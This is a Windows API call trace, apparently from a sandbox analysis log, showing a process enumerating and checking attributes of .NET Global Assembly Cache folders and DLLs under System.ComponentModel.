	[0088.699] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9da03a0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc9da03a0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc9da03a0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.699] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9da03a0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x61cfdea0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x61cfdea0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v4.0_4.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="V40_40~1.0__")) returned 1
	[0088.699] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.699] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.699] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.ComponentModel\\v4.0_4.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.componentmodel\\v4.0_4.0.0.0__b03f5f7f11d50a3a"), fInfoLevelId=0x0, lpFileInformation=0x1273e0a8 | out: lpFileInformation=0x1273e0a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9da03a0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x61cfdea0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x61cfdea0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.699] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.ComponentModel\\v4.0_4.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.componentmodel\\v4.0_4.0.0.0__b03f5f7f11d50a3a"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.699] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.ComponentModel\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x124e7850 | out: lpFindFileData=0x124e7850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9da03a0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x61cfdea0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x61cfdea0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.700] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9da03a0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x61cfdea0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x61cfdea0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.700] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x61cfdea0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x72d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.ComponentModel.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1
	[0088.700] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.700] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.700] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.ComponentModel\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\System.ComponentModel.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.componentmodel\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\system.componentmodel.dll"), fInfoLevelId=0x0, lpFileInformation=0x1273e148 | out: lpFileInformation=0x1273e148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x61cfdea0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x72d8)) returned 1
	[0088.700] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.ComponentModel.Annotations" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.componentmodel.annotations"), fInfoLevelId=0x0, lpFileInformation=0x1273e198 | out: lpFileInformation=0x1273e198*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9da03a0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc9da03a0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc9da03a0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.700] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.ComponentModel.Annotations" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.componentmodel.annotations"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.700] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.ComponentModel.Annotations\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9da03a0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc9da03a0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc9da03a0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.701] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.701] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.ComponentModel.Annotations\\v4.0_4.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.componentmodel.annotations\\v4.0_4.0.0.0__b03f5f7f11d50a3a"), fInfoLevelId=0x0, lpFileInformation=0x1273e238 | out: lpFileInformation=0x1273e238*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9da03a0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x61c19660, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x61c19660, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.701] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.ComponentModel.Annotations\\v4.0_4.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.componentmodel.annotations\\v4.0_4.0.0.0__b03f5f7f11d50a3a"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.701] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.ComponentModel.Annotations\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x124e7850 | out: lpFindFileData=0x124e7850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9da03a0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x61c19660, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x61c19660, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.702] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.702] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.ComponentModel.Annotations\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\System.ComponentModel.Annotations.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.componentmodel.annotations\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\system.componentmodel.annotations.dll"), fInfoLevelId=0x0, lpFileInformation=0x1273e2d8 | out: lpFileInformation=0x1273e2d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x61c19660, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x7720)) returned 1
	[0088.702] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.ComponentModel.Composition" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.componentmodel.composition"), fInfoLevelId=0x0, lpFileInformation=0x1273e328 | out: lpFileInformation=0x1273e328*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93a3bb40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x93a3bb40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x93a3bb40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.702] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.ComponentModel.Composition" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.componentmodel.composition"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.702] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.ComponentModel.Composition\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93a3bb40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x93a3bb40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x93a3bb40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.702] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.702] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.ComponentModel.Composition\\v4.0_4.0.0.0__b77a5c561934e089" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.componentmodel.composition\\v4.0_4.0.0.0__b77a5c561934e089"), fInfoLevelId=0x0, lpFileInformation=0x1273e3c8 | out: lpFileInformation=0x1273e3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93a3bb40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x61c3f7c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x61c3f7c0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.702] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.ComponentModel.Composition\\v4.0_4.0.0.0__b77a5c561934e089" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.componentmodel.composition\\v4.0_4.0.0.0__b77a5c561934e089"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.703] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.ComponentModel.Composition\\v4.0_4.0.0.0__b77a5c561934e089\\*", lpFindFileData=0x124e7850 | out: lpFindFileData=0x124e7850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93a3bb40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x61c3f7c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x61c3f7c0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.703] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.703] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.ComponentModel.Composition\\v4.0_4.0.0.0__b77a5c561934e089\\System.ComponentModel.Composition.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.componentmodel.composition\\v4.0_4.0.0.0__b77a5c561934e089\\system.componentmodel.composition.dll"), fInfoLevelId=0x0, lpFileInformation=0x1273e468 | out: lpFileInformation=0x1273e468*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x61c3f7c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x4bf20)) returned 1
	[0088.703] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.ComponentModel.Composition.Registration" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.componentmodel.composition.registration"), fInfoLevelId=0x0, lpFileInformation=0x1273e4b8 | out: lpFileInformation=0x1273e4b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9e5ea80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc9e5ea80, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc9e5ea80, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.703] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.ComponentModel.Composition.Registration" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.componentmodel.composition.registration"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.703] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.ComponentModel.Composition.Registration\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9e5ea80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc9e5ea80, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc9e5ea80, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.704] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.704] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.ComponentModel.Composition.Registration\\v4.0_4.0.0.0__b77a5c561934e089" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.componentmodel.composition.registration\\v4.0_4.0.0.0__b77a5c561934e089"), fInfoLevelId=0x0, lpFileInformation=0x1273e558 | out: lpFileInformation=0x1273e558*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9e5ea80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x61c8ba80, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x61c8ba80, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.704] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.ComponentModel.Composition.Registration\\v4.0_4.0.0.0__b77a5c561934e089" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.componentmodel.composition.registration\\v4.0_4.0.0.0__b77a5c561934e089"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.704] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.ComponentModel.Composition.Registration\\v4.0_4.0.0.0__b77a5c561934e089\\*", lpFindFileData=0x124e7850 | out: lpFindFileData=0x124e7850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9e5ea80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x61c8ba80, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x61c8ba80, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.704] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.704] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.ComponentModel.Composition.Registration\\v4.0_4.0.0.0__b77a5c561934e089\\System.ComponentModel.Composition.Registration.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.componentmodel.composition.registration\\v4.0_4.0.0.0__b77a5c561934e089\\system.componentmodel.composition.registration.dll"), fInfoLevelId=0x0, lpFileInformation=0x1273e5f8 | out: lpFileInformation=0x1273e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x61c8ba80, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0xf578)) returned 1
	[0088.704] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.ComponentModel.DataAnnotations" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.componentmodel.dataannotations"), fInfoLevelId=0x0, lpFileInformation=0x1273e648 | out: lpFileInformation=0x1273e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93a61ca0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x93a87e00, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x93a87e00, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.705] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.ComponentModel.DataAnnotations" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.componentmodel.dataannotations"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.705] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.ComponentModel.DataAnnotations\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93a61ca0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x93a87e00, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x93a87e00, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.705] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.705] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.ComponentModel.DataAnnotations\\v4.0_4.0.0.0__31bf3856ad364e35" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.componentmodel.dataannotations\\v4.0_4.0.0.0__31bf3856ad364e35"), fInfoLevelId=0x0, lpFileInformation=0x1273e6e8 | out: lpFileInformation=0x1273e6e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93a61ca0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x61cd7d40, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x61cd7d40, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.705] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.ComponentModel.DataAnnotations\\v4.0_4.0.0.0__31bf3856ad364e35" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.componentmodel.dataannotations\\v4.0_4.0.0.0__31bf3856ad364e35"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.705] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.ComponentModel.DataAnnotations\\v4.0_4.0.0.0__31bf3856ad364e35\\*", lpFindFileData=0x124e7850 | out: lpFindFileData=0x124e7850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93a61ca0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x61cd7d40, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x61cd7d40, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.705] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.705] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.ComponentModel.DataAnnotations\\v4.0_4.0.0.0__31bf3856ad364e35\\System.ComponentModel.DataAnnotations.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.componentmodel.dataannotations\\v4.0_4.0.0.0__31bf3856ad364e35\\system.componentmodel.dataannotations.dll"), fInfoLevelId=0x0, lpFileInformation=0x1273e788 | out: lpFileInformation=0x1273e788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x61cd7d40, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x1d538)) returned 1
	[0088.705] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.ComponentModel.EventBasedAsync" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.componentmodel.eventbasedasync"), fInfoLevelId=0x0, lpFileInformation=0x1273e7d8 | out: lpFileInformation=0x1273e7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9da03a0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc9da03a0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc9da03a0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.706] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.ComponentModel.EventBasedAsync" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.componentmodel.eventbasedasync"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.706] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.ComponentModel.EventBasedAsync\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9da03a0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc9da03a0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc9da03a0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.706] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
